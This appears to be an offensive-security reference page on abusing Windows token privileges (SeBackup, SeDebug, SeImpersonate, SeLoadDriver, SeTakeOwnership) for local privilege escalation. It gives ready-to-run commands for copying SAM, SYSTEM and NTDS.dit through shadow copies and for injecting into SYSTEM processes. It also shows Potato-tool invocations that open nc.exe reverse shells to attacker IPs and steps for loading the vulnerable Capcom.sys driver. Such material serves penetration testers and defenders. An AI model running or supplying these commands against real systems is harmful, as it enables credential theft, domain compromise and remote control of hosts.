> ## Documentation Index > Fetch the complete documentation index at: https://0-x.dev/llms.txt > Use this file to discover all available pages before exploring further. # Windows User Rights Assignment Local token privileges, assigned to an account directly or via GPO, are a separate concept from group membership: holding the right privilege can lead to local privilege escalation on its own, independent of which groups an account belongs to. The AD-side equivalent (built-in groups like `DnsAdmins` or `Backup Operators`) is covered on [AD Privileged Groups](https://0-x.dev/ad/privileged-groups.md) instead, this page is strictly about the privilege itself. Also check the official Microsoft Documentation for more informations about [User Rights Assignment](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/user-rights-assignment) ```powershell theme={null} whoami /priv # list the current token's privileges and whether each is enabled ``` *** ## SeNetworkLogonRight Controls which accounts can connect to the device over the network (SMB, NetBIOS, CIFS, COM+). Informational, not itself an escalation path. *** ## SeRemoteInteractiveLogonRight Grants RDP logon rights to the account. Worth checking for on a target user, since it opens a direct interactive path to the host rather than just a network protocol one. *** ## SeBackupPrivilege This grants a user the ability to create system backups and could be used to obtain copies of sensitive system files that can be used to retrieve passwords such as the SAM and SYSTEM Registry hives and the NTDS.dit Active Directory database file. ### Method 1 - Backing Up SAM & SYSTEM Registry Hives Same registry save and extract method as in [Windows Credentials Attacks](https://0-x.dev/windows-credentials-attacks.md), this privilege is simply what makes the `reg.exe save` commands there succeed without being a local admin. ### Method 2 - Arbitrary File / Folder Copy Bypasses ACLs entirely, using the `SeBackupPrivilegeUtils`/`SeBackupPrivilegeCmdLets` modules from the [giuliano108/SeBackupPrivilege](https://github.com/giuliano108/SeBackupPrivilege) PoC ```powershell theme={null} Import-Module .\SeBackupPrivilegeUtils.dll Import-Module .\SeBackupPrivilegeCmdLets.dll # try to enable SeBackupPrivilege if not already enabled Set-SeBackupPrivilege # Copy restricted file and try to read Copy-FileSeBackupPrivilege 'C:\' .\ ``` ```shellscript theme={null} # Copy folder with cmd builtin robocopy tool, no extra modules needed robocopy /B c:\ c:\ ``` ### Method 3 - Attacking a Domain Controller: Copying `NTDS.dit` This group also permits logging in locally to a domain controller. As the `NTDS.dit` file is locked by default, we can use the Windows [diskshadow](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow) utility to create a shadow copy of the `C` drive and expose it as `E` drive. The NTDS.dit in this shadow copy won't be in use by the system. Here you can also load the module from the [giuliano108/SeBackupPrivilege](https://github.com/giuliano108/SeBackupPrivilege) PoC. ```powershell theme={null} diskshadow.exe > set verbose on > set metadata C:\Windows\Temp\meta.cab > set context clientaccessible > set context persistent > begin backup > add volume C: alias cdrive > create > expose %cdrive% E: > end backup > exit # copy ntds file robocopy /B E:\Windows\NTDS .\ntds ntds.dit # copy ntds with mentioned dll above Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit ``` > [!NOTE] > > Getting the file is only half of this: to extract the hashes see [NTDS.dit extraction](https://0-x.dev/ad/domain-credential-dumping.md#ntds-dit-extraction) page *** ## SeDebugPrivilege Allows reading and adjusting the memory of other processes, which is exactly what dumping LSASS needs. The actual dump and parse workflow (ProcDump, Mimikatz, pypykatz) is covered on [Windows Credentials Attacks](https://0-x.dev/windows-credentials-attacks.md), this privilege is the prerequisite that makes it possible without being SYSTEM already. **Remote code execution as SYSTEM**, by finding a SYSTEM process and injecting into it instead of just reading it: **[SeDebugPrivilege-Exploit (C++)](https://github.com/bruno-1337/SeDebugPrivilege-Exploit), [SeDebugPrivilegePoC (C#)](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC), [psgetsys.ps1 (Powershell Script)](https://github.com/decoder-it/psgetsystem)** ```powershell theme={null} # Get the PID of a process running as NT SYSTEM Get-Process -IncludeUserName | Where-Object UserName -eq 'NT AUTHORITY\SYSTEM' | Select-Object Id, ProcessName, UserName # Then run import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,"") ``` (`SeDebugPrivilege-Exploit` (C++) and `SeDebugPrivilegePoC` (C#) are the equivalent native-binary versions of `psgetsys.ps1`) *** ## SeImpersonatePrivilege & SeAssignPrimaryTokenPrivilege Allows impersonating another account's token, almost always escalated to SYSTEM with a "Potato"-family tool that tricks a SYSTEM service into authenticating back to a listener the attacker controls. [PrintSpoofer](https://github.com/itm4n/PrintSpoofer), [GodPotato](https://github.com/BeichenDream/GodPotato), [SigmaPotato](https://github.com/tylerdotrar/SigmaPotato), [JuicyPotato](https://github.com/ohpe/juicy-potato), a list of various [Potato Attacks](https://github.com/AtvikSecurity/CentralizedPotatoes) ```shellscript theme={null} PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd" GodPotato.exe -cmd "cmd /c whoami" SigmaPotato.exe --revshell JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.87 1234 -e cmd.exe" -t * ``` Via msfconsole in a Meterpreter session, no extra binary is needed: ```text theme={null} meterpreter> load incognito meterpreter> list_tokens -u meterpreter> impersonate_token "" ``` > [!TIP] > > If one Potato variant fails, try another, they differ in which trick they abuse. *** ## SeLoadDriverPrivilege Lets the holder load and unload kernel drivers, used to load a known vulnerable signed driver (`Capcom.sys` is the standard example) for an in-kernel exploit to SYSTEM. [EoPLoadDriver](https://github.com/TarlogicSecurity/EoPLoadDriver/) and [ExploitCapcom](https://github.com/tandasat/ExploitCapcom) automates the whole sequence (enable privilege, write the registry key, load the driver) in one step: ```shellscript theme={null} # Run the driver EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys # Then run ExploitCapcom.exe ``` ```shellscript theme={null} # To clean up run reg delete HKCU\System\CurrentControlSet\Capcom ``` *** ## SeTakeOwnershipPrivilege This allows a process to take ownership of an object. At its most basic level, we could use this privilege to gain access to a file share or a file on a share that was otherwise not accessible to us. ```powershell theme={null} # View the permissions of the file Get-ChildItem -Path 'C:\' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }} # Take ownership takeown /f 'C:\' # To get full access icacls 'C:\' /grant :F ``` Worth pointing at sensitive file paths ```text theme={null} %WINDIR%\repair\sam %WINDIR%\repair\system %WINDIR%\repair\software %WINDIR%\repair\security %WINDIR%\system32\config\security.sav %WINDIR%\system32\config\software.sav %WINDIR%\system32\config\system.sav %WINDIR%\system32\config\SecEvent.Evt %WINDIR%\system32\config\default.sav c:\inetpub\wwwwroot\web.config ``` *** ## SeSecurityPrivilege This policy setting determines which users can specify object access audit options for individual resources such as files, Active Directory objects, and registry keys. These objects specify their system access control lists (SACL). A user assigned this user right can also view and clear the Security log in Event Viewer. *** ## SeRestorePrivilege This security setting determines which users can bypass file, directory, registry, and other persistent object permissions when they restore backed up files and directories. It determines which users can set valid security principals as the owner of an object. *** ## SeTcbPrivilege This security setting determines whether a process can assume the identity of any user and, through this, obtain access to resources that the targeted user is permitted to access (impersonation). This may be assigned to antivirus or backup tools that need the ability to access all system files for scans or backups. This privilege should be reserved for service accounts requiring this access for legitimate activities. *** ### Re-Enabling a Disabled Privilege A privilege listed, but disabled in `whoami /priv` still needs enabling before it does anything. You can use [EnableAllTokenPrivs.ps1](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) or [Enable-Privilege.ps1](https://www.powershellgallery.com/packages/PoshPrivilege/0.3.0.0/Content/Scripts/Enable-Privilege.ps1) ```powershell theme={null} Import-Module .\Enable-Privilege.ps1 .\EnableAllTokenPrivs.ps1 ``` *** ## Quick Reference Tools > **[HackTricks: Abusing Tokens](https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html)** > > Full background on Windows token privileges beyond what's covered here. This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.